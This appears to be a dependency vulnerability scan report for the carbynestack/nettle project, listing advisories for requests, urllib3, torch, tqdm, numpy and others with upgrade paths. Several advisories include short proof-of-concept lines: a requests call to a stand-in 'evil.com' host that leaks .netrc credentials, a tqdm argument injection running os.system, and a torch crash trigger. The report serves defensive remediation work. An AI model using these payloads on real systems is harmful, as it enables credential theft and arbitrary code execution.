  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb requests@2.28.2 certifi@2022.12.7
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb docker@5.0.3 requests@2.28.2 certifi@2022.12.7
    Remediation: Upgrade to docker@7.0.0.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torchvision@0.14.1 requests@2.28.2 certifi@2022.12.7
    Remediation: Upgrade to torchvision@0.17.1.

Overview

Affected versions of this package are vulnerable to Insufficient Verification of Data Authenticity due to the presence of the root certificate for GLOBALTRUST in the root store. The root certificates are being removed pursuant to an investigation into non-compliance.

Remediation

Upgrade certifi to version 2024.7.4 or higher.

References

medium severity

Information Exposure

  • Vulnerable module: requests
  • Introduced through: requests@2.28.2, docker@5.0.3 and others

Detailed paths

  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb requests@2.28.2
    Remediation: Upgrade to requests@2.31.0.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb docker@5.0.3 requests@2.28.2
    Remediation: Upgrade to docker@7.0.0.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torchvision@0.14.1 requests@2.28.2
    Remediation: Upgrade to torchvision@0.17.1.

Overview

Affected versions of this package are vulnerable to Information Exposure by leaking Proxy-Authorization headers to destination servers during redirects to an HTTPS origin. This is a result of how rebuild_proxies is used to recompute and reattach the Proxy-Authorization header to requests when redirected.

NOTE: This behavior has only been observed to affect proxied requests when credentials are supplied in the URL user information component (e.g. https://username:password@proxy:8080), and only when redirecting to HTTPS:

  1. HTTP → HTTPS: leak

  2. HTTPS → HTTP: no leak

  3. HTTPS → HTTPS: leak

  4. HTTP → HTTP: no leak

For HTTP connections sent through the proxy, the proxy will identify the header in the request and remove it prior to forwarding to the destination server. However when sent over HTTPS, the Proxy-Authorization header must be sent in the CONNECT request as the proxy has no visibility into further tunneled requests. This results in Requests forwarding the header to the destination server unintentionally, allowing a malicious actor to potentially exfiltrate those credentials.

Workaround

This vulnerability can be avoided by setting allow_redirects to False on all calls through Requests top-level APIs, and then capturing the 3xx response codes to make a new request to the redirect destination.

Remediation

Upgrade requests to version 2.31.0 or higher.

References

medium severity

Improper Removal of Sensitive Information Before Storage or Transfer

  • Vulnerable module: urllib3
  • Introduced through: urllib3@1.26.15, requests@2.28.2 and others

Detailed paths

  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb urllib3@1.26.15
    Remediation: Upgrade to urllib3@1.26.19.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb requests@2.28.2 urllib3@1.26.15
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb docker@5.0.3 requests@2.28.2 urllib3@1.26.15
    Remediation: Upgrade to docker@7.0.0.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torchvision@0.14.1 requests@2.28.2 urllib3@1.26.15
    Remediation: Upgrade to torchvision@0.17.1.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Removal of Sensitive Information Before Storage or Transfer due to the improper handling of the Proxy-Authorization header during cross-origin redirects when ProxyManager is not in use. When the conditions below are met, including non-recommended configurations, the contents of this header can be sent in an automatic HTTP redirect.

Notes:

To be vulnerable, the application must be doing all of the following:

  1. Setting the Proxy-Authorization header without using urllib3's built-in proxy support.

  2. Not disabling HTTP redirects (e.g. with redirects=False)

  3. Either not using an HTTPS origin server, or having a proxy or target origin that redirects to a malicious origin.

Workarounds

  1. Using the Proxy-Authorization header with urllib3's ProxyManager.

  2. Disabling HTTP redirects using redirects=False when sending requests.

  3. Not using the Proxy-Authorization header.

Remediation

Upgrade urllib3 to version 1.26.19, 2.2.2 or higher.

References

medium severity

Open Redirect

  • Vulnerable module: urllib3
  • Introduced through: urllib3@1.26.15, requests@2.28.2 and others

Detailed paths

  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb urllib3@1.26.15
    Remediation: Upgrade to urllib3@2.5.0.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb requests@2.28.2 urllib3@1.26.15
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb docker@5.0.3 requests@2.28.2 urllib3@1.26.15
    Remediation: Upgrade to docker@7.0.0.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torchvision@0.14.1 requests@2.28.2 urllib3@1.26.15
    Remediation: Upgrade to torchvision@0.17.1.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Open Redirect due to the retries parameter being ignored during PoolManager instantiation. An attacker can access unintended resources or endpoints by leveraging automatic redirects when the application expects redirects to be disabled at the connection pool level.

Note:

requests and botocore users are not affected.

Workaround

This can be mitigated by disabling redirects at the request() level instead of the PoolManager() level.

Remediation

Upgrade urllib3 to version 2.5.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: setuptools
  • Introduced through: grpcio-tools@1.47.5, nvidia-cublas-cu11@11.10.3.66 and others

Detailed paths

  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb grpcio-tools@1.47.5 setuptools@40.5.0
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb nvidia-cublas-cu11@11.10.3.66 setuptools@40.5.0
    Remediation: Upgrade to nvidia-cublas-cu11@11.11.3.6.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb nvidia-cuda-runtime-cu11@11.7.99 setuptools@40.5.0
    Remediation: Upgrade to nvidia-cuda-runtime-cu11@11.8.89.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb nvidia-cudnn-cu11@8.5.0.96 nvidia-cublas-cu11@11.10.3.66 setuptools@40.5.0
    Remediation: Upgrade to nvidia-cudnn-cu11@8.5.0.96.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torch@1.13.1 nvidia-cublas-cu11@11.10.3.66 setuptools@40.5.0
    Remediation: Upgrade to torch@2.0.1.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torch@1.13.1 nvidia-cuda-runtime-cu11@11.7.99 setuptools@40.5.0
    Remediation: Upgrade to torch@2.0.1.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torch@1.13.1 nvidia-cudnn-cu11@8.5.0.96 nvidia-cublas-cu11@11.10.3.66 setuptools@40.5.0
    Remediation: Upgrade to torch@2.0.1.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torchvision@0.14.1 torch@1.13.1 nvidia-cublas-cu11@11.10.3.66 setuptools@40.5.0
    Remediation: Upgrade to torchvision@0.17.2.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torchvision@0.14.1 torch@1.13.1 nvidia-cuda-runtime-cu11@11.7.99 setuptools@40.5.0
    Remediation: Upgrade to torchvision@0.17.2.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torchvision@0.14.1 torch@1.13.1 nvidia-cudnn-cu11@8.5.0.96 nvidia-cublas-cu11@11.10.3.66 setuptools@40.5.0
    Remediation: Upgrade to torchvision@0.17.2.

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via crafted HTML package or custom PackageIndex page.

Note:

Only a small portion of the user base is impacted by this flaw. Setuptools maintainers pointed out that package_index is deprecated (not formally, but “in spirit”) and the vulnerability isn't reachable through standard, recommended workflows.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade setuptools to version 65.5.1 or higher.

References

medium severity

Information Exposure Through Sent Data

  • Vulnerable module: urllib3
  • Introduced through: urllib3@1.26.15, requests@2.28.2 and others

Detailed paths

  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb urllib3@1.26.15
    Remediation: Upgrade to urllib3@1.26.17.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb requests@2.28.2 urllib3@1.26.15
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb docker@5.0.3 requests@2.28.2 urllib3@1.26.15
    Remediation: Upgrade to docker@7.0.0.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torchvision@0.14.1 requests@2.28.2 urllib3@1.26.15
    Remediation: Upgrade to torchvision@0.17.1.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Information Exposure Through Sent Data when the Cookie HTTP header is used. An attacker can leak information via HTTP redirects to a different origin by exploiting the fact that the Cookie HTTP header isn't stripped on cross-origin redirects.

Note:

This is only exploitable if the user is using the Cookie header on requests, not disabling HTTP redirects, and either not using HTTPS or for the origin server to redirect to a malicious origin.

##Workaround:

This vulnerability can be mitigated by disabling HTTP redirects using redirects=False when sending requests and by not using the Cookie header.

Remediation

Upgrade urllib3 to version 1.26.17, 2.0.6 or higher.

References

medium severity

Insertion of Sensitive Information Into Sent Data

  • Vulnerable module: requests
  • Introduced through: requests@2.28.2, docker@5.0.3 and others

Detailed paths

  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb requests@2.28.2
    Remediation: Upgrade to requests@2.32.4.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb docker@5.0.3 requests@2.28.2
    Remediation: Upgrade to docker@7.0.0.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torchvision@0.14.1 requests@2.28.2
    Remediation: Upgrade to torchvision@0.17.1.

Overview

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data due to incorrect URL processing. An attacker could craft a malicious URL that, when processed by the library, tricks it into sending the victim's .netrc credentials to a server controlled by the attacker.

Note:

This is only exploitable if the .netrc file contains an entry for the hostname that the attacker includes in the crafted URL's "intended" part (e.g., example.com in http://example.com:@evil.com/).

PoC

requests.get('http://example.com:@evil.com/')

Remediation

Upgrade requests to version 2.32.4 or higher.

References

medium severity

Always-Incorrect Control Flow Implementation

  • Vulnerable module: requests
  • Introduced through: requests@2.28.2, docker@5.0.3 and others

Detailed paths

  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb requests@2.28.2
    Remediation: Upgrade to requests@2.32.2.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb docker@5.0.3 requests@2.28.2
    Remediation: Upgrade to docker@7.0.0.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torchvision@0.14.1 requests@2.28.2
    Remediation: Upgrade to torchvision@0.17.1.

Overview

Affected versions of this package are vulnerable to Always-Incorrect Control Flow Implementation when making requests through a Requests Session. An attacker can bypass certificate verification by making the first request with verify=False, causing all subsequent requests to ignore certificate verification regardless of changes to the verify value.

Notes:

  1. For requests <2.32.0, avoid setting verify=False for the first request to a host while using a Requests Session.

  2. For requests <2.32.0, call close() on Session objects to clear existing connections if verify=False is used.

  3. This vulnerability was initially fixed in version 2.32.0, which was yanked. Therefore, the next available fixed version is 2.32.2.

Remediation

Upgrade requests to version 2.32.2 or higher.

References

medium severity

Improper Resource Shutdown or Release

  • Vulnerable module: torch
  • Introduced through: torch@1.13.1 and torchvision@0.14.1

Detailed paths

  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torch@1.13.1
    Remediation: Upgrade to torch@2.7.1.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torchvision@0.14.1 torch@1.13.1
    Remediation: Upgrade to torchvision@0.17.2.

Overview

torch is a Tensors and Dynamic neural networks in Python with strong GPU acceleration

Affected versions of this package are vulnerable to Improper Resource Shutdown or Release via the torch.mkldnn_max_pool2d function. An attacker can disrupt service by exploiting this vulnerability locally and causing a Floating point exception crash.

PoC

import torch

x = torch.randn(2, 64, 32, 32).to_mkldnn()
out2 = torch.mkldnn_max_pool2d(x, kernel_size=3, stride=0)

Remediation

Upgrade torch to version 2.7.1 or higher.

References

medium severity

Mismatched Memory Management Routines

  • Vulnerable module: torch
  • Introduced through: torch@1.13.1 and torchvision@0.14.1

Detailed paths

  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torch@1.13.1
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torchvision@0.14.1 torch@1.13.1

Overview

torch is a Tensors and Dynamic neural networks in Python with strong GPU acceleration

Affected versions of this package are vulnerable to Mismatched Memory Management Routines through the torch.cuda.memory.caching_allocator_delete function. An attacker can corrupt memory by manipulating the function locally.

Remediation

There is no fixed version for torch.

References

medium severity

Out-of-bounds Write

  • Vulnerable module: torch
  • Introduced through: torch@1.13.1 and torchvision@0.14.1

Detailed paths

  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torch@1.13.1
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torchvision@0.14.1 torch@1.13.1

Overview

torch is a Tensors and Dynamic neural networks in Python with strong GPU acceleration

Affected versions of this package are vulnerable to Out-of-bounds Write when using @torch.jit.script. An attacker can corrupt memory by manipulating the function's input.

Note: This is only exploitable if the attacker has local access to the system.

Remediation

There is no fixed version for torch.

References

medium severity

Out-of-bounds Write

  • Vulnerable module: torch
  • Introduced through: torch@1.13.1 and torchvision@0.14.1

Detailed paths

  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torch@1.13.1
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torchvision@0.14.1 torch@1.13.1

Overview

torch is a Tensors and Dynamic neural networks in Python with strong GPU acceleration

Affected versions of this package are vulnerable to Out-of-bounds Write due to the torch.lstm_cell function. An attacker can corrupt memory by manipulating the function's input.

Note: This is only exploitable if the attacker has local access to the system.

Remediation

There is no fixed version for torch.

References

medium severity

Out-of-bounds Write

  • Vulnerable module: torch
  • Introduced through: torch@1.13.1 and torchvision@0.14.1

Detailed paths

  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torch@1.13.1
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torchvision@0.14.1 torch@1.13.1

Overview

torch is a Tensors and Dynamic neural networks in Python with strong GPU acceleration

Affected versions of this package are vulnerable to Out-of-bounds Write through the torch.jit.jit_module_from_flatbuffer function. An attacker can corrupt memory by manipulating the input data to this function.

Remediation

There is no fixed version for torch.

References

medium severity

Injection

  • Vulnerable module: tqdm
  • Introduced through: tqdm@4.64.1

Detailed paths

  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb tqdm@4.64.1
    Remediation: Upgrade to tqdm@4.66.3.

Overview

Affected versions of this package are vulnerable to Injection due to the handling of optional non-boolean CLI arguments such as --delim, --buf-size, --manpath through python's eval function. An attacker can execute arbitrary code by injecting malicious input into these arguments.

PoC


python -m tqdm --manpath="\" + str(exec(\"import os\nos.system('echo hi && killall python3')\")) + \""

Remediation

Upgrade tqdm to version 4.66.3 or higher.

References

medium severity

Information Exposure Through Sent Data

  • Vulnerable module: urllib3
  • Introduced through: urllib3@1.26.15, requests@2.28.2 and others

Detailed paths

  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb urllib3@1.26.15
    Remediation: Upgrade to urllib3@1.26.18.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb requests@2.28.2 urllib3@1.26.15
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb docker@5.0.3 requests@2.28.2 urllib3@1.26.15
    Remediation: Upgrade to docker@7.0.0.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torchvision@0.14.1 requests@2.28.2 urllib3@1.26.15
    Remediation: Upgrade to torchvision@0.17.1.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Information Exposure Through Sent Data when it processes HTTP redirects with a 303 status code, due to not stripping the request body when changing the request method from POST to GET. An attacker can potentially expose sensitive information by compromising the origin service and redirecting requests to a malicious peer.

Note:

This is only exploitable if sensitive information is being submitted in the HTTP request body and the origin service is compromised, starting to redirect using 303 to a malicious peer or the redirected-to service becomes compromised.

Workaround

This vulnerability can be mitigated by disabling redirects for services that are not expected to respond with redirects, or disabling automatic redirects and manually handling 303 redirects by stripping the HTTP request body.

Remediation

Upgrade urllib3 to version 1.26.18, 2.0.7 or higher.

References

medium severity

MPL-2.0 license

  • Module: certifi
  • Introduced through: certifi@2022.12.7, requests@2.28.2 and others

Detailed paths

  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb certifi@2022.12.7
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb requests@2.28.2 certifi@2022.12.7
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb docker@5.0.3 requests@2.28.2 certifi@2022.12.7
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torchvision@0.14.1 requests@2.28.2 certifi@2022.12.7

MPL-2.0 license

low severity

Buffer Overflow

  • Vulnerable module: numpy
  • Introduced through: numpy@1.21.3, flwr@1.3.0 and others

Detailed paths

  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb numpy@1.21.3
    Remediation: Upgrade to numpy@1.22.0.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb flwr@1.3.0 numpy@1.21.3
    Remediation: Upgrade to flwr@1.8.0.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torchvision@0.14.1 numpy@1.21.3

Overview

numpy is a fundamental package needed for scientific computing with Python.

Affected versions of this package are vulnerable to Buffer Overflow due to missing boundary checks in the array_from_pyobj function of fortranobject.c. This may allow an attacker to conduct Denial of Service by carefully constructing an array with negative values.

Remediation

Upgrade numpy to version 1.22.0 or higher.

References

low severity

Denial of Service (DoS)

  • Vulnerable module: numpy
  • Introduced through: numpy@1.21.3, flwr@1.3.0 and others

Detailed paths

  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb numpy@1.21.3
    Remediation: Upgrade to numpy@1.22.0.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb flwr@1.3.0 numpy@1.21.3
    Remediation: Upgrade to flwr@1.8.0.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torchvision@0.14.1 numpy@1.21.3

Overview

numpy is a fundamental package needed for scientific computing with Python.

Affected versions of this package are vulnerable to Denial of Service (DoS) due to an incomplete string comparison in the numpy.core component, which may allow attackers to fail the APIs via constructing specific string objects.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade numpy to version 1.22.0rc1 or higher.

References

low severity

NULL Pointer Dereference

  • Vulnerable module: numpy
  • Introduced through: numpy@1.21.3, flwr@1.3.0 and others

Detailed paths

  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb numpy@1.21.3
    Remediation: Upgrade to numpy@1.22.2.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb flwr@1.3.0 numpy@1.21.3
    Remediation: Upgrade to flwr@1.8.0.
  • Introduced through: carbynestack/nettle@carbynestack/nettle#580b7f2bb353812561e4bec17ba8719272a412bb torchvision@0.14.1 numpy@1.21.3

Overview

numpy is a fundamental package needed for scientific computing with Python.

Affected versions of this package are vulnerable to NULL Pointer Dereference due to missing return-value validation in the PyArray_DescrNew function, which may allow attackers to conduct Denial of Service attacks by repetitively creating and sort arrays.

Note: This may likely only happen if application memory is already exhausted, as it requires the newdescr object of the PyArray_DescrNew to evaluate to NULL.

Remediation

Upgrade numpy to version 1.22.2 or higher.

References